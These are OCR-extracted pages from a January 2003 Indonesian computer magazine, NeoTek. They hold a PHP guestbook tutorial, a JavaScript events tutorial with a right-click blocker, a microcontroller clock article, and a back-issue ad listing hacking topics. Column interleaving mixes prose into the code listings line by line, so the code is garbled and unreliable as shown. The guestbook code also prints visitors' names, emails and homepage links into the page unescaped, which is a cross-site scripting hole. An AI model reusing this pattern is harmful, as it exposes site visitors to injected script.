Kemudian seperti yang telah dilakukan pada saat nilai bel h tersebut.Perbedaannya hanya pada pengesetan nilai
variabel op sama dengan isi, maka pengecekan terhadap awal dan nilai akhirnya saja. Kali ini nilai awal akan diten-
keberadaan file jml.db.php akan dilakukan pertama kali. tukan dengan suatu rumus yang akan sangat tidak efektif
jika dibahas di sini, demikian juga dengan nilai akhir.
<?
$f="db/jml.db.php"; } else {
if (!file_exists($f)){ $awal=$c-(($h-1)*$r);
?> $akhir=$c-($h*$r);
if($akhir<0){
Yang akan ditampilkan jika file jml.db.php tidak ada adalah $akhir=0;
kalimat yang menyatakan bahwa belum satu pun }
}

Januari 2003 NeoTek 37


NeoTutor

Selesai untuk kemungkinan jika nilai h ada. Lalu bagaima- tama yang harus dicari adalah banyaknya halaman dengan
na jika nilai dari variabel h ternyata kosong? Maka di- menggunakan rumus seperti pada boks di kolom kiri
asumsikan saja bahwa halaman yang diminta adalah bawah.
halaman pertama. Sehingga nilai h kita set ke nilai satu. Variabel bhal menyimpan banyaknya halaman yang
dihasilkan. Setelah tahu banyaknya halaman yang bakal
} else {
$h=1;
ditampilkan, kemudian dengan menggunakan statement
$awal=$c; for, lakukan perulangan untuk menampilkannya.
$akhir=$c-$r;
if($akhir<0){ for($i=1;$i<$bhal;$i++){
$akhir=0;
}
} Ada satu lagi aturan yang kita gunakan di sini, yaitu jika
ternyata halaman tersebut sedang ditampilkan maka tidak
diberi link, tetapi jika tidak sedang ditampilkan maka diberi
Selanjutnya nilai awal dan nilai akhir yang telah kita dapat- link. Sehingga dengan menggunakan statement if…else
kan di atas posisinya akan kita balik secara relatif terhadap skripnya menjadi sebagai berikut:
banyaknya komentar. Fungsinya karena kita akan menggu-
nakan perulangan for maka akan lebih mudah jika dilaku- if ($i==$h){
kan pembalikan ini. ?>
<? echo $i ?>&nbsp;&nbsp;
$akhir=($c-($akhir))+1; <?
$awal=($c-$awal)+1; } else {
?>
<a title="halaman ke-<? echo $i ?>"
Parameter-parameter awal maupun akhir sudah siap. Maka href="index.php?op=lihat&h=<? echo $i ?>"><? echo $i
perulangan for siap dilakukan. ?></a>&nbsp;&nbsp;
<?
}
for($i=$awal;$i<$akhir;$i++){
Perulangan ditutup dengan tanda kurung kurawal.
Tentukan nama dari file yang akan dibuka. Ingat karena Selesai sudah untuk kemungkinan jika file jml.db.php telah
sebelumnya kita telah membalik parameter, maka di sini ada. Jangan lupa kurung kurawal penutupnya.
harus dikembalikan lagi.
Secara lengkap berikut adalah skrip dari list.php, dengan
$fi=($c-($i-1)); template versi NeoTek :
$f="db/$fi.db.php";
<? //file list.php ?>
<html>
Kemudian proses pembacaan terhadap file dengan menggu- <head>
nakan fungsi fread(). <meta http-equiv="Content-Language" content="en-us">
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
$b=fopen($f,"r"); <meta name="ProgId" content="FrontPage.Editor.Document">
$hb=fread($b,filesize($f)); <meta http-equiv="Content-Type" content="text/html;
fclose($b); charset=windows-1252">
<title>my neoguestbook</title>
</head>
<body>
Hasil bacaan yang tersimpan dalam variabel hb, harus <p align="center"><b><font face="Arial Narrow"
dipecah-pecah untuk mendapatkan informasi yang kita color="#0000FF">welcome to my
inginkan. Pemecahan yaitu dengan menggunakan fungsi neoguestbook</font></b></p>
explode. Ingat sebagai pemisah adalah tanda pagar(#). <p align="right"><b><font face="Arial Narrow" color="#0000FF"
size="1">
$p=explode("#",$hb); <a title="isi dunk" href="index.php?op=isi">isi buku
tamu</a></font></b>
<?
Nah, setelah itu bagian yang akan diulang-ulang tinggal $f="db/jml.db.php";
dituliskan. Selanjutnya perulangan kembali ditutup dengan if (!file_exists($f)){
tanda kurung kurawal. ?>
<table border="0" cellpadding="0" cellspacing="0"
style="border:1px solid #CCCCFF; border-collapse: collapse"
// tag html yang di ulang bordercolor="#111111" width="100%" id="AutoNumber1">
// tag html yang di ulang <tr>
// tag html yang di ulang <td width="100%">
} <table border="0" cellpadding="0" cellspacing="3"
style="border-collapse: collapse" bordercolor="#111111"
Sampai di sini selesai sudah proses menampilkan semua width="100%" id="AutoNumber2">
komentar. Selanjutnya, menampilkan indeks halaman. Per- <tr>
<td width="100%" style="border: 1px solid #FFCCFF;
padding: 0" bgcolor="#E2D6E2">
if (($c % $r)==0) { <p align="center"><font face="Arial" size="2">Belum ada
$bhal=(($c-($c%$r))/$r)+1; yang mengisi
}
else { buku tamu!</font></td>
$bhal=(($c-($c%$r))/$r)+2; </tr>
} </table>

38 NeoTek Januari 2003


NeoTutor

</td> </tr>
</tr> <tr>
</table> <td width="100%" colspan="2">
<? <table border="0" cellpadding="0" cellspacing="3"
} else { style="border-collapse: collapse" bordercolor="#111111"
?> width="100%" id="AutoNumber2">
<table border="0" cellpadding="2" cellspacing="5" style="border- <tr>
collapse: collapse" bordercolor="#111111" width="100%" <td width="100%" style="border: 1px solid #FFCCFF;
id="AutoNumber1"> padding: 0" bgcolor="#E2D6E2">
<? <font size="2" face="Arial"><? echo "$p[3]" ?></font></td>
$b=fopen($f,"r"); </tr>
$c=fread($b,filesize($f)); </table>
fclose($b); </td>
if($h!=""){ </tr>
$d=($h-1)*$r; </table>
if ($d>$c){ </td>
$h=1; </tr>
$awal=$c; <?
$akhir=$c-$r; }
if($akhir<0){ ?>
$akhir=0;
} <tr>
} else { <td width="100%">
$awal=$c-(($h-1)*$r); <b><font face="Arial Narrow" size="1" color="#0000FF">
$akhir=$c-($h*$r); <?
if($akhir<0){ if (($c % $r)==0) {
$akhir=0; $bhal=(($c-($c%$r))/$r)+1;
} }
} else {
} else { $bhal=(($c-($c%$r))/$r)+2;
$h=1; }
$awal=$c; for($i=1;$i<$bhal;$i++){
$akhir=$c-$r; if ($i==$h){
if($akhir<0){ ?>
$akhir=0; <? echo $i ?>&nbsp;&nbsp;
} <?
} } else {
$akhir=($c-($akhir))+1; ?>
$awal=($c-$awal)+1; <a title="halaman ke-<? echo $i ?>"
for($i=$awal;$i<$akhir;$i++){ href="index.php?op=lihat&h=<? echo $i ?>"><? echo $i
$fi=($c-($i-1)); ?></a>&nbsp;&nbsp;
$f="db/$fi.db.php"; <?
$b=fopen($f,"r"); }
$hb=fread($b,filesize($f)); }
fclose($b); ?>
$p=explode("#",$hb); </font></b>
?> </td>
<tr> </tr>
<td width="100%"> </table>
<table border="0" cellpadding="0" cellspacing="0" <?
style="border:1px solid #CCCCFF; border-collapse: collapse" }
bordercolor="#111111" width="100%" id="AutoNumber1"> ?>
<tr> </body>
<td width="26%"><font face="Verdana" size="1">Nama </html>
:</font></td>
<td width="74%"><font face="Arial" size="2"><? echo $p[0]
?></font></td> File isi.php
</tr> Yang terakhir kali kita bahas adalah file isi.php. File ini sa-
<tr>
<td width="26%"><font face="Verdana" size="1">Email
ngat sederhana yaitu hanya merupakan file isi.htm yang
:</font></td> disisipi sebuah komentar. Komentar ini akan tersimpan
<td width="74%"><font face="Arial" size="2"> dalam variabel k. Variabel ada atau tidak isinya bergantung
<a href="mailto:<? echo $p[1] ?>" title="kirim email ke <? echo pada file index.php. Jika anda kembali melihat penjelasan
$p[1] ?>"><? echo $p[1] ?></a></font></td> file index.php di atas maka anda akan mengerti bahwa
</tr> komentar hanya akan ada setelah pengisi mengisi buku
<tr>
<td width="26%"><font face="Verdana" size="1">Homepage
tamunya. Langsung saja berikut adalah source code file
:</font></td> isi.php dengan template versi NeoTek.
<td width="74%"><font face="Arial" size="2">
<a title="shortcut ke <? echo $p[2] ?>" href="<? echo $p[2] <? File isi php ?>
?>"><? echo $p[2] ?></a></font></td> <html>
</tr>
<tr> <head>
<td width="26%"><font face="Verdana" size="1">Pesan dan <meta http-equiv="Content-Language" content="en-us">
Kesan :</font></td> <meta name="GENERATOR" content="Microsoft FrontPage 5.0">
<td width="74%" align="right"><font face="Verdana" size="1" <meta name="ProgId" content="FrontPage.Editor.Document">
COLOR=#0000FF><b><? echo $p[4]?></b></font></td> <meta http-equiv="Content-Type" content="text/html;

Januari 2003 NeoTek 39


NeoTutor

charset=windows-1252"> padding: 0" bgcolor="#E2D6E2">


<title>sign my neoguestbook</title>
</head> <p>
<textarea rows="4" name="pesan" cols="80"
<body> style="border: 1px solid #FFFFFF; background-color: #FFFFFF;
font-family:Arial; font-size:10px; color:#FF0000; font-
<p align="center"><b><font face="Arial Narrow" weight:bold"></textarea></p>
color="#0000FF">welcome to my </td>
neoguestbook</font></b></p> </tr>
</table>
<p align="center"><b><font face="Arial Narrow" </td>
color="#FF0000" size="1"> </tr>
<? echo $k?></font></b></p> </table>
</td>
<p align="right"><b><font face="Arial Narrow" size="1" </tr>
color="#0000FF"> <tr>
<a title="lihat yuk!" href="index.php?op=lihat">lihat <td width="100%">
buku tamu</a></font></b> <form method="POST" <input type="submit" value="Isi!" name="submit" style="font-
action="index.php"> family: Verdana; text-decoration: blink; color: #000000; font-size:
<table border="0" cellpadding="2" cellspacing="5" style="border- 8pt; font-weight: bold; border: 1px ridge #FFCCFF; background-
collapse: collapse" bordercolor="#111111" width="100%" color: #FFCCFF">
id="AutoNumber1"> <input type="reset" value="Hapus!" name="reset" style="font-
<tr> family: Verdana; text-decoration: blink; color: #000000; font-size:
<td width="100%"> 8pt; font-weight: bold; border: 1px ridge #FFCCFF; background-
<table border="0" cellpadding="0" cellspacing="0" color: #FFCCFF"></td>
style="border:1px solid #CCCCFF; border-collapse: collapse" </tr>
bordercolor="#111111" width="100%" id="AutoNumber1"> </table>
<tr> <input type="hidden" name="ak" value="isi"><input
<td width="22%"><font face="Verdana" size="1">Nama type="hidden" name="op" value="isi">
</font></td> </form>
<td width="4%"><font face="Verdana" </body>
size="1">:</font></td>
<td width="74%"> </html>
<input type="text" name="nama" size="40" style="border-left:
1px solid #FFFFFF; border-right: 1px solid #FFFFFF; border-top:
1px solid #FFFFFF; border-bottom: 1px solid #000000;
background-color: #FFFFFF; font-family:Arial; font-
size:10px"></td> Dengan berakhirnya pembahasan file isi.php berarti sudah
</tr> jadi deh aplikasi buku tamu kita. Anda bisa mencobanya
<tr> sekarang juga dengan menggunakan server Apache di
<td width="22%"><font face="Verdana" size="1">Email komputer anda!
</font></td>
<td width="4%"><font face="Verdana" Oh ya, mungkin anda berpikir bahwa buku tamu ini terlalu
size="1">:</font></td> sederhana dan masih kurang. Jawabannya adalah ya. Sebe-
<td width="74%"> narnya anda sendiri masih bisa mengembangkannya, mi-
<input type="text" name="email" size="40" style="border-left: salnya saja dengan menambahkan fasilitas ekspresi wajah
1px solid #FFFFFF; border-right: 1px solid #FFFFFF; border-top:
1px solid #FFFFFF; border-bottom: 1px solid #000000;
pada komentar, atau dengan menambah fitur admin,
background-color: #FFFFFF; font-family:Arial; font- sehingga anda bisa menghapus komentar-komentar yang
size:10px"></td> tidak anda inginkan. Ya, terserah anda silakan berkreati-
</tr> vitas sesuai kebutuhan anda.
<tr>
<td width="22%"><font face="Verdana" size="1">Homepage Referensi :
</font></td> Situs resmi PHP: http://www.php.net
<td width="4%"><font face="Verdana"
size="1">:</font></td>
<td width="74%">
<input value="http://"type="text" name="homepage" size="40"
style="border-left: 1px solid #FFFFFF; border-right: 1px solid
#FFFFFF; border-top: 1px solid #FFFFFF; border-bottom: 1px solid
#000000; background-color: #FFFFFF; font-size:10px; font-
family:Arial"></td>
</tr> Dapatkan NeoTek di
<tr>
<td width="22%"><font face="Verdana" size="1">Pesan dan toko-toko buku
Kesan </font></td> Gramedia di kota
<td width="4%"><font face="Verdana"
size="1">:</font></td> anda
<td width="74%">&nbsp;</td>
</tr>
<tr>
<td width="100%" colspan="3">
<table border="0" cellpadding="0" cellspacing="3"
style="border-collapse: collapse" bordercolor="#111111" Atau hubungi kami langsung lewat
width="100%" id="AutoNumber2"> Telepon : (021) 548 1457 (Elvi R. Nainggolan)
<tr>
Email : redaksi@neotek.co.id
<td width="100%" style="border: 1px solid #FFCCFF;

40 NeoTek Januari 2003


NeoTutor

Event pada JavaScript


Pada bagian ketujuh tutorial JavaScript ini dibahas event. Fungsi yang biasanya dipicu setelah suatu tindakan
dilakukan ini berguna untuk membuat skrip menjadi interaktif.

VENT DAPAT DIDEFINISIKAN SEBAGAI KEJADIAN yang Agar pemahaman kita lebih mendalam mari kita lihat
E terjadi pada dokumen, yang kemudian dapat di-
respon atau ditangani. Biasanya event ditangani
terlebih dahulu suatu contoh penanganan event secara
langsung tanpa menggunakan fungsi. Misalnya kita mem-
dengan menggunakan fungsi yang telah dideklarasikan punyai suatu link pada dokumen yang jika link tersebut
sebelumnya, namun pada beberapa kasus dapat ditangani kita klik maka secara otomatis akan ditampilkan alert box.
langsung dengan menuliskan statement perintah tanpa Perhatikan skrip berikut ini:
harus menggunakan fungsi.
<html><head>
Macam-macam Event <title>penanganan event tanpa deklarasi fungsi</title>
Nama dari suatu event biasanya dikaitkan dengan penye- </head>
<body>
bab yang membangkitkan event tersebut. Tabel di bawah <a href="#" onClick="alert('Hi! Ini event Click')">Klik di sini</a>
ini memuat daftar event yang paling sering digunakan. </body></html>

Penanganan Event
Tambahkan on pada nama event, lalu jadikan atribut pada Lihat bahwa setelah atribut onClick, penanganan tehadap
tag HTML bersangkutan. Nilai atribut ini bisa berupa event langsung dengan menuliskan statement JavaScript
nama suatu fungsi yang telah didefinisikan. yang akan menampilkan alert box. Sekarang mari kita
Perhatikan sintaks berikut: buat contoh di atas menjadi menggunakan fungsi. Cara-
onNamaEvent=" statement-statement javascript"
nya yaitu dengan memasukkan statement JavaScript yang
digunakan untuk menampilkan alert box ke dalam suatu
Catatan: fungsi yang dideklarasikan di bagian awal dokumen.
• Nama event bersifat case-insensitive Perhatikan skrip selanjutnya di halaman berikut.
• Jika statement-statement yang menjadi niali dari
atribut onNama.Event lebih dari satu statement, akan Pada skrip itu terlihat bahwa setelah atribut onClick
lebih baik jika dibundel dalam suatu fungsi. penanganan tehadap event kali ini dengan menyebutkan
nama fungsi yang dideklarasikan sebelumnya yaitu

Event Deskripsi KeyPress Dibangkitkan ketika user menekan dan


melepaskan tekanan pada suatu tombol keyboard.
Abort Dibangkitkan ketika suatu page yang sedang Dapat dikatakan sebagai gabungan dari event
proses load diinterupsi (loading dihentikan). KeyDown dan KeyUp. Biasanya bekerja pada
Misalnya user menekan tombol Stop pada elemen dokumen, image, link dan elemen text.
browser. Biasanya digunakan pada elemen image.
KeyUp Dibangkitkan ketika user melepaskan tekanan
Blur Dibangkitkan ketika suatu elemen kehilangan dari suatu tombol pada keyboard. Bekerja pada
fokus. Yang dimaksud dengan fokus yaitu ketika elemen yang sama dengan event KeyDown.
elemen tersebut dipilih. Biasanya digunakan pada
Load Dibangkitkan ketika suatu elemen selesai diload.
elemen window dan elemen lainnya.
Biasanya digunakan pada elemen window dan
Change Dibangkitkan ketika user memilih atau batal image.
memilih suatu item dan berpindah focus ke
MouseDown Dibangkitkan ketika user menekan mouse.
elemen lain. Biasanya digunakan pada elemen
Biasanya digunakan pada elemen dokumen,
select dan input text.
image, link dan button.
Click Dibangkitkan ketika user mengklik mouse.
MouseOut Dibangkitkan ketika pointer mouse keluar dari
Biasanya digunakan pada elemen link dan
suatu elemen. Biasanya digunakan pada elemen
tombol.
link, image dan layer.
DbClick Dibangkitkan ketika user mengklik ganda mouse.
MouseOver Dibangkitkan ketika pointer mouse melewati
Biasanya digunakan pada elemen dokumen, link,
suatu elemen. Biasanya digunakan pada elemen
image dan button.
link, image dan layer.
Error Dibangkitkan ketika terjadi error pada proses
MouseUp Dibangkitkan ketika user menghentikan tekanan
loading suatu image. Biasanya digunakan pada
pada mouse. Biasanya digunakan pada elemen
elemen image.
yang sama pada event MouseDown.
Focus Dibangkitkan ketika suatu elemen dipilih (elemen
Reset Dibangkitkan ketika user mengklik tombol reset
mendapatkan focus). Biasanya digunakan pada
pada suatu form.
elemen text, window dan elemen form lainnya.
Resize Dibangkitkan ketika suatu window diubah
KeyDown Dibangkitkan ketika user menekan suatu tombol
ukurannya. Bekerja pada elemen window.
pada keyboard (tidak termasuk proses
melepaskan tekanan). Biasanya digunakan pada Submit Dibangkitkan ketika suatu form di-submit.
elemen dokumen, image, link, dan elemen text.
Unload Dibangkitkan ketika proses loading dihentikan,

Januari 2003 NeoTek 41


NeoTutor

<html><head> Untuk lebih jelasnya kita akan membuat suatu contoh.


<title>penanganan event dengan deklarasi fungsi</title> Berikut adalah skrip yang akan mendeteksi adanya klik
<script language="javascript"> pada mouse. Jika ada klik kanan maka akan ditampilkan
<!-- alert box.
function klik(){ Pertama kali adalah kita tentukan terlebih dahulu browser
alert('Hi! Ini event Click') yang dipakai oleh user apakah Netscape atau Internet
} Explorer, dengan menggunakan operator kondisional.
//--> (lihat kembali artikel yang membahas tentang Operator).
</script> Pendeteksian browser ini sendiri akan dibahas secara lebih
</head> khusus pada artikel mendatang tentang objek.
<body>
<a href="#" onClick="klik()">Klik di sini</a> var browser = (navigator.appName == "Netscape") ? 1 : 0
</body></html>
Kemudian setelah browser terdeteksi, selanjutnya guna-
fungsi klik(). Silakan dicoba, karena hasil keduanya sama kan metode captureevents dari objek window dokumen
saja. untuk medeteksi semua event MouseDown dan MouseUp
(yang berhubungan dengan klik pada mouse).
Deteksi Event
JavaScript mempunyai kemampuan untuk mendeteksi event if(browser)
yang terjadi pada suatu jendela (window) yang memuat document.captureEvents(Event.MOUSEDOWN||Event.MOUSEUP)
dokumen sebelum event tersebut ditangani. Pertama kali
yang harus kita lakukan adalah dengan menentukan event
apa yang hendak dideteksi. Caranya dengan mengguna- Setelah itu definiskan fungsi yang akan digunakan untuk
kan metode captureevents bagi objek window dengan memberi respon pada klik kanan berupa tampilan alert
diikuti nama event yang akan dideteksi. box. Dan blokir semua fungsi lain dengan mengembalikan
fungsi tersebut ke nilai false.
Perhatikan sintaks berikut:
function cek(e){
captureEvents(Event.NamaEvent) var even = (browser) ? e : event
var eventombol = (browser) ? even.which : even.button
if((eventombol==2)||(eventombol==3)) {
Kita bisa mendeteksi beberapa kejadian secara langsung alert('Jangan Klik Kanan Ah!')
dengan menggunakan operator | (atau) sebagai pemisah return false
antara nama event yang satu dengan yang lain. Sintaksnya: }
}
captureEvents(Event.NamaEvent1 | Event.NamaEvent2 | …..)
Terakhir beritahukan pada Javascript bahwa semua event
Sebagai contoh jika kita ingin mendeteksi event click MouseDown dan event MouseUp pada dokumenn pena-
maka sintaksnya menjadi: nganannya harus melewati fungsi cek() yang dibuat tadi.

captureEvent(Event.Click); document.onmousedown = cek;


document.onmouseup = cek;

Langkah kedua adalah dengan mendeklarasikan fungsi


yang akan mendeteksi event serta memberi respon , de- Nah, secara lengkap skripnya menjadi seperti ini:
ngan argumen yang selalu bertipe objek event. Berikut
adalah sintaksnya:
<script language="Javascript">
Function nama_fungsi(e){ <!--
// statement javascript var browser = (navigator.appName == "Netscape") ? 1 : 0
if(browser)
} document.captureEvents(Event.MOUSEDOWN||Event.MOUSEUP);
function cek(e){
Dan langkah terakhir adalah dengan memanggil fungsi var even = (browser) ? e : event
var eventombol = (browser) ? even.which : even.button
deteksi yang telah dideklarasikan pada event yang hendak if((eventombol==2)||(eventombol==3)) {
dideteksi. Sintaksnya: alert('Jangan Klik Kanan Ah!')
return false
Nama_Event= nama_fungsi }
}
document.onmousedown = cek;
Statement tersebut akan menyebabkan fungsi pendeteksi document.onmouseup = cek;
akan selalu dideteksi terlebih dahulu sebelum fungsi- //-->
fungsi lainnya yang menangani event tersebut. Jika </script>
fungsi pendeteksi mengembalikan nilai ke TRUE, maka
fungsi-fungsi lain yang menangani event tersebut (jika Tempatkan skrip tersebut pada bagian manapun dari
ada) baru akan dipanggil untuk dieksekusi. Namun jika dokumen HTML anda, akan tetapi sebaiknya ditempatkan
fungsi pendeteksi mengembalikan nilai ke FALSE maka pada bagian awal dokumen. Dijamin deh tidak ada klik
tidak akan ada pemanggilan terhadap fungsi-fungsi lain kanan pada halaman dokumen anda.
untuk event tersebut.

42 NeoTek Januari 2003


NeoTekno

Tukar Otak
Proyek Digital Clock (4)
Dengan menggunakan hardware yang telah dirakit sebelumnya, anda dapat mengubah
implementasi software-nya. Kali ini Hardy (hardythe@cbn.net.id) membuatnya menjadi jam
dengan dua buah timer dan output berupa relay yang mempunyai banyak fungsi dan bunyi beep.

ADAN LAMA OTAK BARU. ITULAH MAKSUD frasa “Tukar 5. DisplayJob: Menampilkan nilai Jam-Menit atau Menit-
B OTAK" di atas. Dengan hardware lama (NeoTek
Vol 3, No 2, November 2002) yang sudah dirakit
Detik dari SecondJob.
6. Terakhir adalah Vector. Ini menginformasikan kemana
dan diberi sofware sangat sederhana sekarang diubah men- MCU harus pergi jika terjadi interrupt tertentu. Ada
jadi jam dengan dua buah timer dengan output berupa beberapa macam interrupt. Isi interrupt salah satunya
kontak relay (TIMER 1) yang bisa dimanfaatkan untuk Timer OverFlow di atas.
berbagai fungsi dan berupa bunyi beep (TIMER 2) sebagai Artikel kali ini memanfaatkan semua fungsi yang ada di
alarm bangun pagi. Dengan artikel ini anda diajak untuk hardware Digital Clock yaitu: Beeper dan Relay. Sebenar-
berpikir sebagai perancang agar mudah memahami user nya software ini akan terasa terlalu advance bagi pemula.
interface-nya. Tapi justru ini yang disenangi pemula untuk dipelajari
Seperti pernah disebut di artikel sebelumnya bahwa salah berlama-lama. Dapat banyak trik programming dan tidak
satu keunggulan pembuatan proyek dengan microcontroller perlu keluar biaya untuk hardware lagi. Setelah mengerti
adalah kemungkinan meningkatkan kemampuan proyek cara kerja software ini, diharapkan pembaca dapat memodi-
hanya dengan mengubah software (lebih cocok disebut fikasi sendiri bila ada perbedaan dengan kebutuhan pribadi.
firmware karena software tersebut menjadi hardware - isi Hal yang perlu diperhatikan adalah User Interface. Selan-
FLASH ROM). jutnya diusahakan agar suatu desain bisa dioperasikan tanpa
Advanced Digital Clock user manual (buku petunjuk pemakaian) sama sekali.
Apabila ada LCD dalam proyek tersebut, usahakan untuk
Software pertama (NeoClock1.asm) diberikan untuk penge- secara otomatis menampilkan manual singkat yang
nalan bahasa assembly microcontroller. Dalam hal ini ada- informatif pada awal pengoperasian.
lah Motorola HC08. Setiap keluarga MCU mempunyai
hardware berbeda walaupun sebagian konsepnya sama. Dalam pengoperasiannya, Digital clock ini memiliki 2 loop
Untuk itu, diperlukan contoh sederhana untuk memulai Mode:
pemakaian MCU yang baru dikenal. Bahkan hal ini berlaku 1. Mode yang terdiri dari Mode0 (RUN), Mode1 (INC Jam
untuk yang sudah berpengalaman dengan keluarga MCU lain. Clock), Mode2 (INC Menit Clock), Mode3 (Timer1 On-
Software NeoClock1.asm hanya memiliki bagian vital dari Off), Mode4 (INC Jam Timer 1), Mode5 (INC Menit
jam digital: Timer 1), Mode6 (Timer2 On-Off), Mode7 (INC Jam
Timer 2), Mode8 (INC Menit Timer 2).
1. Inisialisasi: Menentukan input/output dan nilai awal
register tertentu. 2. Sedangkan di dalam Mode0 (RUN) dibuat SUB mode
2. Main Loop: Sebagai manager untuk routine lainnya yang diberi nama: RUNdisplayMode yang terdiri dari:
yang akan terus berulang. Mode0 (Jam-Menit), Mode1 (Menit-Detik), Mode2
3. Interrupt: Timer OverFlow Interrupt. Pembangkit satuan (Timer 1 setting bila Timer 1 ON atau tulisan T1 Of
waktu 1 detik. yang maksudnya off), Mode3 (Timer 2 setting bila Timer
4. SecondJob: Penghitung waktu (detik, menit, jam) 2 ON atau tulisan T2 Of yang maksudnya off).

Januari 2003 NeoTek 43


NeoTekno

Uniknya akses Mode ini cukup dilakukan dengan 1 tombol NeoClock2.asm mempunyai lebih banyak sub routine.
(SW1). Dengan menganalisa posisi jumper J3, bisa Semuanya diatur dari MainLoop. Penjelasan singkatnya
ditentukan Mode mana yang ingin diakses. (untuk Overview) demikian:
Sewaktu jam baru dihidupkan, kita perlu men-setting Jam 1. Init: Berbeda sedikit, tetapi tidak kelihatan efeknya.
(di NeoClock1 ini tidak bisa dilakukan), untuk itu kita perlu 2. MainLoop: Manager semua subroutine. Memudahkan
2 tombol, yaitu Mode (SW1) dan Change (SW2-increment perawatan.
value). Agar SW2 bisa berfungsi, Jumper J3 perlu dipindah 3. Input: Khusus menangani hasil penekanan SW2.
dari pin 2-3 ke pin 1-2. 4. Mode Manager, menangani mode berdasarkan SW1
Penekanan tombol Mode (SW1) akan mengubah mode dibantu oleh status SW2.
menjadi Mode1 (INC Jam). Agar User (anda) yakin apa efek 5. Second: Aktif setiap detik menangani hal yang berhu-
kalau SW2 ditekan, angka Jam dibuat berkedip. Inilah yang bungan dengan detik.
namanya Friendly USER interface. Sepele tapi memudah- 6. Evaluate: Mencocokkan Jam yang berjalan dengan
kan USER dan perlu ditambahkan karena tidak bisa didapat kedua Timer.
secara otomatis dengan bahasa assembly. Selanjutnya pada 7. DispPrep: Mempersiapkan data ke Display Buffer
mode1 angka menit yang berkedip. Mode2 akan berdasarkan Mode.
menampilkan huruf t1 yang artinya timer1 dan huruf of 8. Display: Aktif setiap loop dengan menampilkan hanya 1
(OFF) yang berkedip atau huruf on (ON) yang berkedip. digit tiap loop agar efisiensi tampilan maksimum.
Tetap SW2 menjadi pengubah nilainya. Mengkonversi angka menjadi segment untuk
Mode4 dan Mode5 tempat menyetel Jam dan Menit Timer 1. membentuk angka dan huruf sederhana.
Tapi Mode4 dan Mode5 akan dilompati apabila USER tidak 9. Output: Mengaktifkan dan mematikan Relay dan
mengaktifkan Timer menjadi t1 on. Untuk apa menyetel Buzzer.
Jam dan menit timer yang tidak aktif. Hal yang sama 10. Timer OverFlow: Membangkitkan detik, delay 2 detik
berlaku pada Timer2. untuk RUNdisplayMode. Baca input SW2.
11. IRQ: Menangkap tekanan tombol pada SW1
Setelah semua disetel sesuai keinginan kita, non aktifkan 12. Vector Table: Tabel tujuan loncatnya Program Counter
SW2 (pindah J3 ke posisi Pin 2-3) dan manfaatkan I/O itu CPU.
sebagai output untuk menggerakkan relay.
Input menggunakan Jump Table agar efisien dan cepat.
Pada saat ini, Tombol SW1 akan mengakses RUNdisplayMode. Dibagi berdasarkan Mode. Ini sangat memudahkan debug.
Penekanan pertama menampilkan Menit-Detik. Selanjut- Misalnya ada bug saat increment JAM timer 1, maka cukup
nya Jam-Menit setting Timer 1 atau tulisan t1 of apabila mencarinya di salah satu tujuan jump table bersangkutan.
timer1 off. Timer 2 juga demikian. Penekanan selanjutnya
akan mengembalikan ke Jam-Menit yang merupakan Hal yang sama diterapkan di subroutine Display
default-nya display. Preparation.
Mungkin timbul pertanyaan: bagaimana kalau SW1 ditekan Display Subroutine juga menggunakan tabel untuk kendali
cuma sampai Menit-Detik lalu ditinggal? Sudah disiapkan on-off digit dan konversi angka menjadi data segment
delay selama 2 detik dihitung dari tiap penekanan tombol untuk 7 segmen bahkan juga untuk pembentukan huruf
(tekanan terakhir yang dipakai) yang apabila habis waktu- sederhana seperti t, o, f, n dan blank total yang dibutuhkan
nya (time out) akan mengembalikan ke tampilan default. untuk membuat efek kedip.
Satu User interface lagi yang perlu dijelaskan karena mung- Untuk kali ini pun sangat dianjurkan untuk mengetik
kin tidak akan ditemukan tanpa sengaja adalah: Pada perte- sendiri file Neoclock2.asm untuk melatih ketelitian dan agar
ngahan mode utama (bukan sub mode). Misal mode6 lalu menghasilkan bug yang random. Untuk belajar debugging
user memutuskan untuk kembali ke mode0. User cukup kita butuh BUG. Kesalahan ketik akan menghasilkan BUG.
memindahkan jumper ke pin 2-3, lalu menekan SW1 sekali. Dari sana lihat efeknya atau gejalanya. Coba cari sendiri
dulu berdasarkan kelompok subroutinenya. Inilah proses
Sebagai PR, pembaca bisa menambah feature yang kurang pelatihan insting debugging. Mini-EVM yang saya buat
dari jam digital ini yaitu tidak ada indikasi jam aktif atau untuk debugging atau bahkan alat lain yang lebih hebat dan
macet. Walaupun sebenarnya kalau Hang, tampilan akan mahal tetap membutuhkan insting pemakainya untuk
berubah menjadi 1 digit saja karena 7 segmen dinyalakan debug.
dengan cara scanning.
Apabila masih juga tidak ketemu BUG nya, tanyakan via
Sebagai indikasi jam bekerja normal bisa dilakukan dengan milis yang saya sediakan untuk itu. Daftarlah dengan
mengubah-ubah intensitas 7 segmen. Menarik, sejauh tidak mailto: hc05_08jkt-subscribe@yahoogroups.com.
dikira kesalahan desain hardware yang punya problem di
bagian power supply-nya.

Ketinggalan Membaca NeoTek? Edisi lama: harga khusus & bebas ongkos kirim
Baru tahu ada majalah NeoTek? II/1 Oktober 2001 II/7 April 2002
Hacking dengan Back Orifice Mengintip Password dengan Dsniff
Penawaran khusus edisi lama NeoTek II/2 November 2001 II/8 Mei 2002
Rp15.000,-/eks (dengan CD) Dasar-dasar Remote Hacking Superscan: Scanning Tool setara Nmap
Rp8000,-/eks (tanpa CD) II/3 Desember 2001 II/9 Juni 2002
Rp10.000,-/eks (CD saja) Footprinting: Intelijen Awal Skrip mIRC & EggDrop
II/4 Januari 2002 II/10 Juli 2002
Hubungi: Elvy Risma Nainggolan Software Cracking Legion: Jalan-jalan ke Komputer Orang
(redaksi@neotek.co.id) II/5 Februari 2002 II/11 Agustus 2002
Telp. 021-5481457 Meng-hack NT Server Hacking & PC Securit; Virus & Trojan
II/6 Maret 2002 II/12 September 2002
Ada apa saja di edisi lama NeoTek? SoftICE: Serial Fishing Password Cracking: Seni & Tekniknya

44 NeoTek Januari 2003


NeoStyle

Menyembunyikan Aplikasi dengan


Outtasight
Jika anda memerlukan privasi ketika menggunakan komputer, utilitas Outtasight mungkin dapat membantu
anda. Eryanto Sitorus (ery@postmaster.co.uk) menguraikan program bantu ini yang baginya amat berguna
agar tidak semua orang dapat melihat kegiatannya dalam berkomputer.

UAT SAYA, YANG DOYAN MEMANFAATKAN kesempat- banget bukan? Tapi untunglah tidak berapa lama kemu-
B an dalam kesempitan, maksud saya memanfaat-
kan fasilitas kantor (PC dan telepon) untuk meng-
